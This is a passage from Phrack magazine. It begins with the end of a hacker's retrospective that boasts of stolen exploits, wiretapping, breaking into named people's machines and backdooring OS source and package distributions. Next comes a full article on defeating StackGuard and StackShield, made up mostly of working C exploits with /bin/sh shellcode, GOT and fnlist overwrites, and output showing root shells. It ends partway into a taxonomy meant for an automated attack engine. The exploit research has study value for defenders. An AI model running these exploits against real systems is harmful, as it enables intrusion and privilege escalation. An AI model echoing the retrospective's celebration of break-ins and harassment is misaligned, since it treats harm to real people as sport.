Buying my first modem, and installing it. Installing QModem & calling my
first BBS.
Being introduced to the concept of hacking/phreaking by a local sysop (who
I am still the best of friends with today). He told me I should download
Phrack ('get phrack.. that zine rocks d00d, it has the best philes!'). So
I dl'd the latest issue at the time, which was Phrack 46.
PBXes (System75s, SL-1s, Rolms, DataStar & all the rest..)
Setting up my first Alliance teleconference (0-700-456-1000)
CBI
Writing my first t-file
Figuring out how to spawn DCL shells from captive and guest accounts.
On a dialup UNIX machine, in a distant galaxy, a long, LONG time ago.. the
first '#' prompt I ever saw.
First NUI (it was on sprintnet)
First sniffer log (sunsniffer r0ckz)
First time on a DMS-100
First unpublished exploit (thanks to Scott Chasin for his generous - albeit
involuntary - donation :))
Being invited to join the Phone Losers of America by el_jefe. (Anyone other
than myself, dhate, and el_jefe who claims PLA is a poser. Especially RBCP
and his band of gay doodleboys.)
Meeting tr0ut (by hacking a system he was using) & joining H4G1S in its
infancy.
First root shell on a 5ESS.
Yahoo!
Two words.. Jay Dyson.
The first (root-yielding) hole I found in UNIX.
The first exploit I ever stole.
The first exploit I ever wrote.
Mastering digital wiretapping.
Being woken up by FBI agents.
Monitoring a certain computer security expert from California who appeared in
Wired Magazine along with Mark Lottor as "V.T." in an article written by John
Markoff about cellular phreaking. (Restore your honor.. come and get me, big
guy. And get busted for eavesdropping on phonesex!@)
When dk, prym, and I forwarded a certain Phrack editor's phone line to a
bridge, and took all his calls for a weekend. (Sorry about that, route..
water under the bridge ;))
[ EdNote: it wasn't for a weekend fuck0! It was for a day (I disconnected
the number that afternoon -- and I still remember it because it was so
elite: 2801600). ]
IRC'ing as erikb.
Mocking "security expert" Scott Yelich while breaking into his 'secure'
machine, security.spy.org. (He ended up pulling his cables.. lame).
Owning everyone and everything.
c4p3b0y vs. andy 0f m4yb3rry
autoreplyd
groktelnet
Backdooring the source code of several popular commercial & free operating
systems, and binary distributions of popular packages at their distro sites.
(I'll bet that gives you a warm, fuzzy feeling just thinking about it.)
Cheating on every online game in existence for laughs (a lot of them with DK)
kibitz on beelzebub (y0y0 neal!)
Writing BoW 9 with U4EA, Lister, and DK
All the funny prank calls, especially with el_jefe, dhate, U4EA & DK.
My first con (pumpcon).. the kind of experience that's memorable because
nobody lets you forget it ;)
whackpack.hilarious.log
gay.log
our short-lived young apprentice (dead_rat of the LoD!@##$)
elastic's 'creatively edited' logs
sloppy's ass mailing list & everything associated with it - 50mb of email
a day, getting threatened with lawsuits by Captain Zap (world-class retard,
belongs in the meinel-vranesevich-shipley-brianmartin trashcan), Agent Steal's
400k ego rants, elastic's incoherent & hilarious ravings, etc etc.
SEAWORLD ADVENTURE SARLO
Oh yeah, and boards to mention:
The Forbidden City
Ripco
The Toll Center
Demon Roach Underground
The Station
Error 23
Realms of Valor
|-------------------------------- Q U O T E Z --------------------------------|
GO AWAY PLA!
It's not paranoia if they're really after you.
leggo my eggo
pea *SPINS*
"KTHNX!"
-pea
???
P4NTZ/H4G1S - GL0B4L D0M1N4Ti0N '97
P4NTZ/H4G1S - GL0B4L D0M1N4Ti0N '97 - PR1S0N '98
If you're not owned by H4G1S, you're not worth owning.
If you're not worth owning, you're probably owned by H4G1S anyway.
'$show users /full/int/givemesysprivs'
"yeah, but, uh, how are we supposed to chmod chmod?"
"dog"
- tr0ut
Welcome to OpenBSD: The proactively secure Unix-like operating system.
"The dragons breath was warm and damp, it fogged up the mirror, I wiped the
mirror with a tissue, the tissue tore, the dragon swallowed the damp tissue
whole." (probably not exact)
- tr0ut
"f dragons"
- tr0ut
y0y0y0, sl0ppy 0n the m1c
watch my h1p tr1x 0n da bmx b1ke
I'm whirlin' and twirlin' like a bat 0utta hell
d00d, that stench, it's me, I smell!
0n the payph0nez iz where I l1ke t0 be
call1ng ppl I d0nt even kn0w in TURKEY!
HEHEHE! I have a psychopathic streak!
messaging st4r ab0ut drag0nz iz when I'm at my peak!
g00d g0d r0d, that tissue is damp!
watch th1s 360 of the handicap r4mp!
0ff I g0, b1king int0 the sun
tissuez and payph0nez, my life iz s0 fun!
- tr0ut freestyling on the topic of the official H4G1S BMXer
"what's a golden shower?"
<2 minutes later> "this is waq.. you can see people peeing!"
- sloppy
"hmm, huh, hrmm, duh, drhfhfhfmasfh rhummm shoelaces?"
"Don't question my technical abilities!"
- Agent Steal
"I hate JP more than I hate banana candy"
- dk
"We're so money and we don't even know it"
- dk
"i've had a lot of practice swordfighting underwater"
"-shep-"
-u4ea
"Do they live in each others basements?"
- eubern1g
"Waaleikum Pastrami!"
- eubern1g
"Summa Sedes Non Capit Duos"
I would like to include a lot of other things the people listed below have
said that aren't included here - most of them are often pretty witty & funny.
A lot of stupid things that people have said crossed my mind as well, but I
decided I didn't want their words showing up in my Quotes.. :)
But, since I wrote this up from memory, and also due to space limitations,
this is not possible..
Oh well.
|--------- T H E F U T U R E O F T H E U N D E R G R O U N D ----------|
Asking this question is analogous to asking a question about the future of
8-tracks or dodo birds.
The underground is no longer underground. Forums which once existed for the
discussion of hacking/phreaking, and the use of technology toward that end,
now exist for bands of semi-skilled programmers and self-proclaimed security
experts to yammer about their personal lives, which exist almost entirely on
the awful medium known as IRC. The BBS, where the hack/phreak underground
grew from, is long since dead. Any chump can buy access to the largest
network in the world for $19.95 a month, then show up on IRC or some other
equally lame forum, claiming to be a hacker because they read bugtraq and can
run exploits (or even worse, because they can utilize denial-of-service
attacks). The hacker mindset has become a nonexistent commodity in the new
corporate and media-friendly 'underground.'
And everyone who was a real part of the hacking/phreaking scene - at one point
or another decided they'd rather make money being legit than risk legal
troubles and wrecking their future for nothing. Myself included.
The watered down underground's definition of a hacker is invariably something
like: "Someone who can code," or "Someone who can hack webpages," etc.
The motives and goals of this 'scene' are also entirely different, and it can
be safely concluded that it will continue to degenerate further, at a rapid
pace.
On the flip side, going legit is a good thing... I, for one, would rather be
on the right side of the law, and getting paid for it - it was fun while it
lasted, and I learned a lot, but we all have to grow up sometime.
And for those just getting into it now - why hack? All the knowledge and
information you could possibly want is available at the click of a button in
any web browser (or push of an arrow, in Lynx).
If you instinctively and successfully refuted the last two paragraphs of
bullshit logic... then you belong.
|---------------------------- S H O U T O U T Z -----------------------------|
eubern1g, el_jefe, dhate, sl/tr0ut, sloppy, dk, neal, u4ea, dw, lurid, adamw,
fryguy, sarlo, sn, prym, plaguez, elastic, netw1z, route, redragon/djm, jennie,
acid phreak, number6, pea, fatalist, marauder, tabas, kwei, ratscabies..
anyone BoW MOD or H4G1S that i missed & anyone else i missed .. the el8z
know who they are :)
I'd like to give a separate shout-out to these following unnamed individuals,
who shall be known by the arbitrary pseudonyms of:
oraclepunk, cheez, dos_tomates, the R&D militiamen, macgyver, SAF 1 & 'iblis'
(Don't ask.)
|EOF|-------------------------------------------------------------------------|
--------------------------------------------------------------------------------
- P H R A C K M A G A Z I N E -
Volume 0xa Issue 0x38
05.01.2000
0x05[0x10]
|------------------- BYPASSING STACKGUARD AND STACKSHIELD --------------------|
|-----------------------------------------------------------------------------|
|--------------------- Bulba and Kil3r <lam3rz@hert.org> ---------------------|
----| Preface
"When a buffer overwrites a pointer... The story of a restless mind."
This article is an attempt to demonstrate that it is possible to exploit
stack overflow vulnerabilities on systems secured by StackGuard or StackShield
even in hostile environments (such as when the stack is non-executable).
----| StackGuard Overview
According to its authors, StackGuard is a "simple compiler technique that
virtually eliminates buffer overflow vulnerabilities with only modest
performance penalties." [1]
We assume that the reader know how buffer overflow attacks work and how to
write exploit code . If this is foreign to you, please see P49-14.
In a nutshell, we can change a function's return address by writing past the
end of local variable buffer. The side effect of altering a function's return
address is that we destroy/modify all stack data contained beyond end of the
overflowed buffer.
What does StackGuard do? It places a "canary" word next to the return address
on the stack. If the canary word has been altered when the function returns,
then a stack smashing attack has been attempted, and the program responds by
emitting an intruder alert into syslog, and then halts.
Consider the following figure:
... ...
|-----------------------------------|
| parameters passed to function |
|-----------------------------------|
| function's return address (RET) |
|-----------------------------------|
| canary |
|-----------------------------------|
| local frame pointer (%ebp) |
|-----------------------------------|
| local variables |
|-----------------------------------|
... ...
To be effective, the attacker must not be able to "spoof" the canary word
by embedding the value for the canary word in the attack string. StackGuard
offers two techniques to prevent canary spoofing: "terminator" and "random".
A terminator canary contains NULL(0x00), CR (0x0d), LF (0x0a) and EOF (0xff) --
four characters that should terminate most string operations, rendering the
overflow attempt harmless.
A random canary is chosen at random at the time the program execs. Thus the
attacker cannot learn the canary value prior to the program start by searching
the executable image. The random value is taken from /dev/urandom if
available, and created by hashing the time of day if /dev/urandom is not
supported. This randomness is sufficient to prevent most prediction attempts.
----| StackShield
StackShield uses a different technique. The idea here is to create a separate
stack to store a copy of the function's return address. Again this is achieved
by adding some code at the very beginning and the end of a protected function.
The code at the function prolog copies the return address to special table,
and then at the epilog, it copies it back to the stack. So execution flow
remains unchanged -- the function always returns to its caller. The actual
return address isn't compared to the saved return address, so there is no way
to check if a buffer overflow occurred. The latest version also adds some
protection against calling function pointers that point at address not
contained in .TEXT segment (it halts program execution if the return value
has changed).
It might seem like these two systems are infallible. They're not.
----| "Nelson Mengele must be free"
"...an attacker can bypass StackGuard protection using buffer overflows to
alter other pointers in the program besides the return address, such as
function pointers and longjmp buffers, which need not even be on the
stack." [2]
OK. So. Do we need a bit of luck to overflow a function pointer or a longjmp?
You bet! It's not exactly commonplace to find such a pointer located after
our buffer, and most programs do not have it at all. It is much more likely
to find some other kind of pointer. For example:
[root@sg StackGuard]# cat vul.c
// Example vulnerable program.
int f (char ** argv)
{
int pipa; // useless variable
char *p;
char a[30];
p=a;
printf ("p=%x -- before 1st strcpy
",p);
strcpy(p,argv[1]); // <== vulnerable strcpy()
printf ("p=%x -- after 1st strcpy
",p);
strncpy(p,argv[2],16);
printf("After second strcpy ;)
");
}
main (int argc, char ** argv) {
f(argv);
execl("back_to_vul","",0); //<-- The exec that fails
printf("End of program
");
}
As you can see, we just overwrite the return address by overflowing our buffer.
But this will get us nowhere since our program is StackGuard protected. But
the simplest, obvious route is not always the best one. How about we just
overwrite the `p` pointer? The second (safe) strncpy() operation will go
straight to memory pointed by us. What if p points at our return address on
the stack? We're altering the function's return without even touching the
canary.
So what do we require for our attack?
1. We need pointer p to be physically located on the stack after our buffer
a[].
2. We need an overflow bug that will allow us to overwrite this p pointer
(i.e.: an unbounded strcpy).
3. We need one *copy() function (strcpy, memcopy, or whatever) that takes
*p as a destination and user-specified data as the source, and no p
initialization between the overflow and the copy.
Obviously, given the above limitations not all programs compiled with
StackGuard are going to be vulnerable, but such a vulnerabilities are out
there. For example, the wu-ftpd 2.5 mapped_path bug, where overflowing the
mapped_path buffer could alter the Argv and LastArg pointers used by
setproctitle() resulting in the ability to modify any part of the process'
memory. Granted, it was *data* based overflow (not stack-based) but, on
the other hand, this shows that the requirements for our above vulnerability
are definitely fulfilled in real world.
So how are we going to exploit it?
We overwrite p so it will point to the address of RET on the stack and thus
the next *copy() will overwrite our RET without touching the canary :) Yes,
we need to smuggle in the shellcode as well (we use argv[0]). Here is a
sample exploit (we used execle() to make it environment independent):
[root@sg StackGuard]# cat ex.c
/* Example exploit no. 1 (c) by Lam3rZ 1999 :) */
char shellcode[] =
"xebx22x5ex89xf3x89xf7x83xc7x07x31xc0xaa"
"x89xf9x89xf0xabx89xfax31xc0xabxb0x08x04"
"x03xcdx80x31xdbx89xd8x40xcdx80xe8xd9xff"
"xffxff/bin/sh";
char addr[5]="AAAAx00";
char buf[36];
int * p;
main() {
memset(buf,'A',32);
p = (int *)(buf+32);
*p=0xbffffeb4; // <<== let us point at RET
p = (int *)(addr);
*p=0xbfffff9b; // <<== new RET value
execle("./vul",shellcode,buf,addr,0,0);
}
As tested on a StackGuarded RH 5.2 Linux box:
[root@sg StackGuard]# gcc vul.c -o vul
[root@sg StackGuard]# gcc ex.c
[root@sg StackGuard]# ./a.out
p=bffffec4 -- before 1st strcpy
p=bffffeb4 -- after 1st strcpy
bash#
As you can see, the first strcpy() overwrites p, then strncpy() copies the new
RET value so that when it returns it takes address of our shellcode. Kaboom!
This technique works with programs compiled with regular gcc or StackGuarded
gcc, but StackShield compiled programs are proof against this.
----| There is no spoon
I talked with Crispin Cowan <crispin@cse.ogi.edu>, one of the StackGuard
developers and he proposed a remediation against above hack. Here's his
idea:
"The XOR Random Canary defense: here, we adopt Aaron Grier's ancient
proposal to xor the random canary with the return address. The canary
validation code used on exit from functions then XOR's the return address
with the proper random canary (assigned to this function at exec() time)
to compute what the recorded random canary on the stack should be. If the
attacker has hacked the return address, then the xor'd random canary will
not match. The attacker cannot compute the canary to put on the stack
without knowing the random canary value. This is effectively encryption
of the return address with the random canary for this function.
The challenge here is to keep the attacker from learning the random
canary value. Previously, we had proposed to do that by just surrounding
the canary table with red pages, so that buffer overflows could not be
used to extract canary values. However, Emsi's [described above] attack
lets him synthesize pointers to arbitrary addresses."
(The simplest solution there is to) "mprotect() the canary table to prevent
the attacker from corrupting it."
We informed Crispin that we're going to write an article about it and his
response was:
"I think we can have a revised StackGuard compiler (with the XOR random
canary) ready for release on Monday."
That compiler has been released. [3]
StackShield offers an (almost) equal level of security by saving the RET copy
in safe place (of arbitrary location and size -- not necessarily a good
practice however) and checking its integrity before doing the return.
We can bypass that.
If we have a pointer that can be manipulated, we can use it to overwrite
things that can help us exploit a vulnerable overflow in a program. For
example, take the fnlist structure that holds functions registered via
atexit(3) or on_exit(3). To reach this branch of code, of course, the program
needs to call exit(), but most programs do this either at the end of execution
or when an error occurs (and in most cases we can force an error exception).
Let's look at the fnlist structure:
[root@sg StackGuard]# gdb vul
GNU gdb 4.17.0.4 with Linux/x86 hardware watchpoint and FPU support
[...]
This GDB was configured as "i386-redhat-linux"...
(gdb) b main
Breakpoint 1 at 0x8048790
(gdb) r
Starting program: /root/StackGuard/c/StackGuard/vul
Breakpoint 1, 0x8048790 in main ()
(gdb) x/10x &fnlist
0x400eed78 <fnlist>: 0x00000000 0x00000002 0x00000003 0x4000b8c0
0x400eed88 <fnlist+16>: 0x00000000 0x00000003 0x08048c20 0x00000000
0x400eed98 <fnlist+32>: 0x00000000 0x00000000
We can see that it calls two functions: _fini [0x8048c20] and _dl_fini
[0x4000b8c0] and that neither of these take any arguments (checkout glibc
sources to understand how to read the fnlist content). We can overwrite both
of these functions. The fnlist address is dependent on the libc library, so it
will be the same for every process on a particular machine.
The following code exploits a vulnerable overflow when the program exits
via exit():
[root@sg StackGuard]# cat 3ex.c
/* Example exploit no. 2 (c) by Lam3rZ 1999 :) */
char shellcode[] =
"xebx22x5ex89xf3x89xf7x83xc7x07x31xc0xaa"
"x89xf9x89xf0xabx89xfax31xc0xabxb0x08x04"
"x03xcdx80x31xdbx89xd8x40xcdx80xe8xd9xff"
"xffxff/bin/sh";
char addr[5]="AAAAx00";
char buf[36];
int * p;
main() {
memset(buf,'A',32);
p = (int *)(buf+32);
*p=0x400eed90; // <<== Address of entry in fnlist which we'll modify
p = (int *)(addr);
*p=0xbfffff9b; // <<== Address of new function to call (shellcode) :)
execle("./vul",shellcode,buf,addr,0,0);
}
As you can see our exploit has changed only by one line :)
Let's test it against our vulnerable program:
[root@sg StackGuard]# gcc 3ex.c
[root@sg StackGuard]# ./a.out
p=bffffec4 -- before 1st strcpy
p=400eed90 -- after 1st strcpy
After second strcpy ;)
End of program
bash#
As you can see our program gave us a shell after the end of normal execution.
Neither StackGuard nor StackShield cannot protect against this kind of attack.
But what if our program do not call exit() but uses _exit() instead?
Let's see what happens when we overwrite the canary. A StackGuarded program
will call __canary_death_handler() (this function is responsible for logging
the overflow attempt and terminating the process). Let's look at it:
void __canary_death_handler (int index, int value, char pname[]) {
printf (message, index, value, pname) ;
syslog (1, message, index, value, pname) ;
raise (4) ;
exit (666) ;
}
As you can see, we have a call to exit() at the very end. Granted, exploiting
the program this way will generate logs, but if there is no other way, it's
a necessary evil. Besides, if you get root, you can just groom them later.
We received some email from Perry Wagle <wagle@cse.ogi.edu> (another
Stackguard author): "I seem to have lost my change to have it call _exit()
instead...". Currently StackGuard calls _exit().
Of course the above hack does not apply to StackShield. StackShield protection
can be bypassed by overwriting the saved %ebp which is not protected. One
way of exploiting it (under the worst conditions) was described in "The
Frame Pointer Overwrite" by klog in Phrack 55 [4]. When program is compiled
using StackShield with the '-z d' option it calls _exit() but this is not a
problem for us.
----| Discovering the America
What if a system has been protected with StackGuard *and* StackPatch (Solar
Designer's modification that makes stack nonexecutable)? Is *this* the worst
case scenario? Not quite.
We developed a clever technique that can be used if none of the above methods
can be used.
The reader is directed to Rafal Wojtczuk's wonderful paper "Defeating
Solar Designer's Non-executable Stack Patch" [5]. His great idea was to
patch the Global Offset Table (GOT). With our vulnerability we can produce
an arbitrary pointer, so why not point it to the GOT?
Let's use our brains. Look at vulnerable program:
printf ("p=%x -- before 1st strcpy
",p);
strcpy(p,argv[1]);
printf ("p=%x -- after 1st strcpy
",p);
strncpy(p,argv[2],16);
printf("After second strcpy :)
");
Yes. The program writes our content (argv[2]) to our pointer then it
executes library code, printf(). OK, so what we need to do is to overwrite
the GOT of printf() with the libc system() address so it will execute
system("After second strcpy :)
"); Let's test it in practice. To do this,
we disassemble the Procedure Linkage Table (PLT) of printf().
[root@sg]# gdb vul
GNU gdb 4.17.0.4 with Linux/x86 hardware watchpoint and FPU support
[...]
This GDB was configured as "i386-redhat-linux"...
(gdb) x/2i printf
0x804856c <printf>: jmp *0x8049f18 <- printf()'s GOT entry
0x8048572 <printf+6>: pushl $0x8
(gdb)
OK, so printf()'s GOT entry is at 0x8049f18. All we need is to put the libc
system() address at this location, 0x8049f18. According to Rafal's article we
can calculate that our system() address is at: 0x40044000+0x2e740. 0x2e740 is
an offset of __libc_system() in libc library:
[root@sg]# nm /lib/libc.so.6| grep system
0002e740 T __libc_system
0009bca0 T svcerr_systemerr
0002e740 W system
[ Note: the reader might notice we didn't use a kernel with Solar's patch.
We were having problems with init(8) halting after boot. We were running out
of time to get this article done so we decided to go without the kernel patch.
All that would change is the 0x40. On systems with Solar's patch, libc is
at 0x00XXYYZZ. So, for example, the above address would look like
0x00044000+0x2e740, the 0x00 at the beginning will terminate our string.
We're not 100% positive that StackPatch is compatible with StackGuard, it
SHOULD be, and even if it isn't, it CAN be... But we're not sure yet.. If
any knows, please drop us a note. ]
OK, so let's test following exploit:
[root@sg]# cat 3ex3.c
/* Example exploit no. 3 (c) by Lam3rZ 1999 :) */
char *env[3]={"PATH=.",0};
char shellcode[] =
"xebx22x5ex89xf3x89xf7x83xc7x07x31xc0xaa"
"x89xf9x89xf0xabx89xfax31xc0xabxb0x08x04"
"x03xcdx80x31xdbx89xd8x40xcdx80xe8xd9xff"
"xffxff/bin/sh";
char addr[5]="AAAAx00";
char buf[46];
int * p;
main() {
memset(buf,'A',36);
p = (int *)(buf+32);
*p++=0x8049f18;// <== printf() GOT entry address
p = (int *)(addr);
*p=0x40044000+0x2e740;// <<== Address of libc system()
printf("Exec code from %x
",*p);
execle("./vul",shellcode,buf,addr,0,env);
}
And test it!!!
[root@sg]# gcc 3ex3.c
[root@sg]# ./a.out
Exec code from 40072740
p=bffffec4 -- before 1st strcpy
p=8049f18 -- after 1st strcpy
sh: syntax error near unexpected token `:)'
sh: -c: line 1: `After second strcpy :)'
Segmentation fault (core dumped)
Hrm. That didn't work.
Unfortunately, as it happens, the printf() string contained special shell
characters. In most cases if we exploit printf() to execute system() it
will execute things like "Here we blah, blah and blah", so all we need is
to create a "Here" shell script in our working directory (yes, we need our
suid program to not set the PATH variable).
So what to do with our unexpected ':)' token?
Well it depends, sometimes you just have to forget about printf() and try to
find a function that is executed after our exploitation, such that it takes
plain text as the last argument. Sometimes, however, we can get luckier...
Imagine that our a[] buffer is the last local variable, so arguments passed on
to functions called by our vulnerable function are just next to it on stack.
What if we persuade __libc_system() to skip the canary pushing? We can achieve
that by jumping to __libc_system()+5 instead of __libc_system(). Well, we'll
end up with +arguments shifted one place forward (i.e. arg1->arg2...), and
the first 4 bytes of the last local variable on the stack are treated as the
first argument. The printf() call we're trying to abuse takes just one
argument, so the only argument that system() will get is pointer contained in
the first 4 bytes of a[]. Just make it point to "/bin/sh" or something
similar.
Overwriting the GOT works for StackGuard, StackShield and StackPatch. It can
be used in case we cannot manipulate the whole content of what we're copying
but only parts of it (as in wu-ftpd).
----| "Oily way"
The reader may think we're only showing her naive examples, that are probably
not going to be found in the field. A vulnerable function that gets as its
arguments a whole table of strings is somewhat uncommon. More often you'll
find functions that look like this:
int f (char *string) {
[...]
char *p;
char a[64];
[...]
Check this out:
char dst_buffer[64]; /* final destination */
int f (char * string)
{
char *p;
char a[64];
p=dst_buffer; /* pointer initialization */
printf ("p=%x -- before 1st strcpy
",p);
strcpy(a, string); /* string in */
/* parsing, copying, concatenating ... black-string-magic */
/* YES, it MAY corrupt our data */
printf ("p=%x -- after 1st strcpy
",p);
strncpy(p, a, 64); /* string out */
printf("After second strcpy ;)
");
}
int main (int argc, char ** argv) {
f(argv[0]); /* interaction */
printf("End of program
");
}
You interact with the vulnerable function by passing it just one string...
But what if we're dealing with a system that has nonexecutable stacks,
and libraries mapped to some strange address (with NULLs inside of it)?
We cannot patch the GOT with our address on the stack, because stack is
not executable.
It may look like we're screwed, but read on! Our system is x86 based, and
there are a lot of misconceptions about the ability to execute certain memory
pages. Check out /proc/*/maps:
00110000-00116000 r-xp 00000000 03:02 57154
00116000-00117000 rw-p 00005000 03:02 57154
00117000-00118000 rw-p 00000000 00:00 0
0011b000-001a5000 r-xp 00000000 03:02 57139
001a5000-001aa000 rw-p 00089000 03:02 57139
001aa000-001dd000 rw-p 00000000 00:00 0
08048000-0804a000 r-xp 00000000 16:04 158
0804a000-0804b000 rw-p 00001000 16:04 158 <-- The GOT is here
bfffd000-c0000000 rwxp ffffe000 00:00 0
The GOT may seem to be non-executable, but SUPRISE! Good ole' Intel allows
you to execute the GOT where ever you wish! So all we have to do is stick
our shellcode there, patch the GOT entry to point to it, and sit back and
enjoy the show!
To facilitate that, here's a little hint:
We just have to change two lines in supplied exploit code:
*p=0x8049f84; // destination of our strncpy operation
[...]
*p=0x8049f84+4; // address of our shellcode
All we need is a copy operation that can copy the shellcode right where we
want it. Our shellcode is not size optimized so it takes more than 40 bytes,
but if you're smart enough you can make this code even smaller by getting rid
of jmp, call, popl (since you already know your address).
Another thing we have to consider are signals. A function's signal handler
tries to call a function with a fucked up GOT entry, and program dies. But
that is just a theoretical danger.
What's that now?
You don't like our vulnerable program?
It still looks somewhat unreal to you?
Then maybe we'll satisfy you with this one:
char global_buf[64];
int f (char *string, char *dst)
{
char a[64];
printf ("dst=%x -- before 1st strcpy
",dst);
printf ("string=%x -- before 1st strcpy
",string);
strcpy(a,string);
printf ("dst=%x -- after 1st strcpy
",dst);
printf ("string=%x -- after 1st strcpy
",string);
// some black magic is done with supplied string
strncpy(dst,a,64);
printf("dst=%x -- after second strcpy :)
",dst);
}
main (int argc, char ** argv) {
f(argv[1],global_buf);
execl("back_to_vul","",0); //<-- The exec that fails
// I don't have any idea what it is for
// :)
printf("End of program
");
}
In this example we have our pointer (dst) on the stack beyond the canary and
RET value, so we cannot change it without killing the canary and without
being caught...
Or can we?
Both StackGuard and StackShield check whether RET was altered before the
function returns to its caller (this done at the very end of function). In
most cases we have enough time here to do something to take control of a
vulnerable program.
We can do it by overwriting the GOT entry of the next library function called.
We don't have to worry about the order of local variables and since we don't
care if canary is alive or not, we can play!
Here is the exploit:
/* Example exploit no. 4 (c) by Lam3rZ 1999 :) */
char shellcode[] = // 48 chars :)
"xebx22x5ex89xf3x89xf7x83xc7x07x31xc0xaa"
"x89xf9x89xf0xabx89xfax31xc0xabxb0x08x04"
"x03xcdx80x31xdbx89xd8x40xcdx80xe8xd9xff"
"xffxff/bin/sh";
char buf[100];
int * p;
main() {
memset(buf,'A',100);
memcpy(buf+4,shellcode,48);
p = (int *)(buf+80); // <=- offset of second f() argument [dest one]
*p=0x8049f84;// <<== GOT entry of printf
p = (int *)(buf);
*p=0x8049f84+4;// <<== GOT entry of printf+4, there is our shellcode :)
execle("./vul2","vul2",buf,0,0);
}
And the result:
[root@sg]# ./a.out
p=804a050 -- before 1st strcpy
argv1p=bfffff91 -- before 1st strcpy
p=8049f84 -- after 1st strcpy
argv1=41414141 -- after 1st strcpy
bash#
----| Conclusion
1) StackGuard/StackShield can save you in case of accidental buffer overflows,
but not against a programmer's stupidity. Erreare humanum est, yeah
right, but security programmers must not only be human, they must be
security-aware-humans.
2) - By auditing your code - you may waste some time but you'll surely
increase the security of the programs you're writing.
- By using StackGuard/StackShield/whatever - you may decrease your system
performance but in turn you gain additional layer of security.
- By doing nothing to protect your program - you risk that someone will
humiliate you by exploiting an overflow in your code, and if it happens,
you deserve it!
So, be perfect, be protected, or let the others laugh at you.
We welcome any constructive comments and improvements. You can contact us
on Lam3rZ mailing list at <lam3rz@hert.org>.
Yes, yes... We know! No real working exploit yet :( We're working on it.
Keep checking:
http://emsi.it.pl/
and
http://lam3rz.hack.pl/
----| Addendum: Jan 5, 2000
We solved the problem with StackGuard on a system with Solar Designer's
non-executable stack patch. We're not sure what caused the problem, but to
avoid it, enable 'Autodetect GCC trampolines' and 'Emulate trampoline calls'
during kernel configuration. We were running Slackware Linux without
StackGuard and trampolines but with non-executable user stack but StackGuarded
RH Linux refused to work in such a configuration... :)
----| Some GreetZ
A18 team, HERT, CocaCola, Raveheart (for "Nelson Mengele..." song).
Nergal, moe by si tak ujawni? ;)
Po raz kolejny chcialbym zaznaczyc, ze jestem tylko zwyczajnym Lam3rem.
- Kil3r
people I've been drinking with - because i've been drinking with you :)
people I'd like to drink with - because i will drink with you :)
people smarter than me - because you're better than I am
ʣӯ1/4 - for being wonderful iso-8859-2 characters
Lam3rz - alt.pe0p1e.with.sp311ing.pr0b1emZ :)
koralik - ... just because
- Bulba
----| References
[1] Crispin Cowan, Calton Pu, Dave Maier, Heather Hinton, Jonathan Walpole,
Peat Bakke, Steave Beattie, Aaron Grier, Perry Wagle and Qian Zhand.
StackGuard: Automatic Adaptive Detection and Prevention of Buffer-Overflow
Attacks http://www.immunix.org/documentation.html
[2] Crispin Cowan, Steve Beattie, Ryan Finnin Day, Calton Pu, Perry Wagle
and Erik Walthinsen. Protecting Systems from Stack Smashing Attacks with
StackGuard http://www.immunix.org/documentation.html
[3] Security Alert: StackGuard 1.21
http://www.immunix.org/downloads.html
[4] klog. The Frame Pointer Overwrite
http://www.phrack.com/search.phtml?view&article=p55-8
[5] Rafal Wojtczuk. Defeating Solar Designer's Non-executable Stack Patch
http://www.securityfocus.com/templates/archive.pike?list=1&date=1998-02-01&msg=199801301709.SAA12206@galera.icm.edu.pl
----| Authors' note
This article is intellectual property of Lam3rZ Group.
Knowledge presented here is the intellectual property of all of mankind,
especially those who can understand it. :)
|EOF|-------------------------------------------------------------------------|
--------------------------------------------------------------------------------
- P H R A C K M A G A Z I N E -
Volume 0xa Issue 0x38
05.01.2000
0x06[0x10]
|------------------------------ PROJECT AREA52 -------------------------------|
|-----------------------------------------------------------------------------|
|------------------------ Jitsu-Disk <jitsu@nmrc.org> ------------------------|
|----------- Simple Nomad <thegnome@nmrc.org> Irib <irib@nmrc.org> -----------|
"Delirium Tremens"
----| Background
Military tactics have evolved along with technology. Reaching an objective is
done with computed strategies gathering the impact of warfare on the field.
This information is used to plan the next offensive. As the NSA has pointed
out, cyber-warfare happens much like its real-life counterpart, hence the
same intelligence can be used. This draft will try to explore the means and
tools with which to build an automated attack engine based on a universal
classification of attack strategies (regardless of the actual attacks).
----| Classification
Writing the proper classification of computer attacks actually fills entire
books [1], yet we can devise levels of access -- Read, Write and Modify --
that an attacker can gain over a system. The steps to achieve your goal will
vary depending upon whether you are attacking remotely, locally, or even
physically. Achieving the goal is also dependent upon the security policy
of the targeted system.
The objective of the classification is to provide a means to universally
describe the levels of acquired access, depending on one's situation.
Later we will explore the building of a generic engine to defeat various
security policies on target systems through the steps described in the
classification.
To illustrate this we will attempt to define the classification of remote
intrusion, based upon the OSI model. A similar classification for physical
and local intrusion can be derived, although this paper will mainly focus
on the remote element.
Various levels of access holds both logical properties and mathematical
ones. For example, a logical property might be "if you can read the TCP/IP
stream you can read the networked layer". A mathematical example might be
"the Write property is intransitive; you can spoof traffic on the network
yet not Modify existing data or hijack a session". The mathematical issues
are left as an exercise to the reader, the logical ones will be used as
the basis for the attack engine.
The following is our classification:
[ Acc : Access level
M = Modify capabilities
W = Write capabilities
R = Read capabilities ]
Situation : Remote
------------------
OSI Layers Acc Implication
*--------------*
| Application |
| 6 | M Application rights, compromise all layers below
| | W DoS, unprivileged access
| | R Data gathering
|--------------|
| Session |
| 5 | M Session redirection, compromise all layers below
| | W DoS, service scanning
| | R Session Data gathering
|--------------|
| Presentation |
| 4 | M Redirection, compromise all layers below
| | W DoS, scanning
| | R Data gathering
|--------------|
| Transport |
| 3 | M Redirection, compromise all layers below
| | W DoS, scanning
| | R Data gathering
|--------------|
| Network |
| 2 | M Redirection, compromise all layers below
| | W DoS, scanning
| | R Data gathering
|--------------|
| Data Link |
| 1 | M Redirection, compromise all layers below
| | W DoS, scanning
| | R Data gathering
|--------------|
| Physical |
| 0 | M Redirection
| | W DoS, scanning
| | R Data gathering
*--------------*
This attack-based model works top/down: if you can control the Application
(Modification rights to what it does), all dependent layers are compromised.
To be more specific, all dependent layers of the specific process you control
are now "owned" by you. If you control sendmail you may fool around with
all associated network functions, in the scope of access rights. Hence, if we
define our "attack goal" to be "running a shell as root on the target system",
a listening sendmail daemon running as root would be a good target. If
sendmail is compromised to the point of executing commands as root, the remote
attacker could easily gain a root shell, thereby meeting the goal. If the goal
was to establish a covert channel to the target for Denial of Service (DoS)
purposes or for launching further attacks, then appropriate actions would be
taken.
On the other hand, having control of a lower level layer doesn't automatically
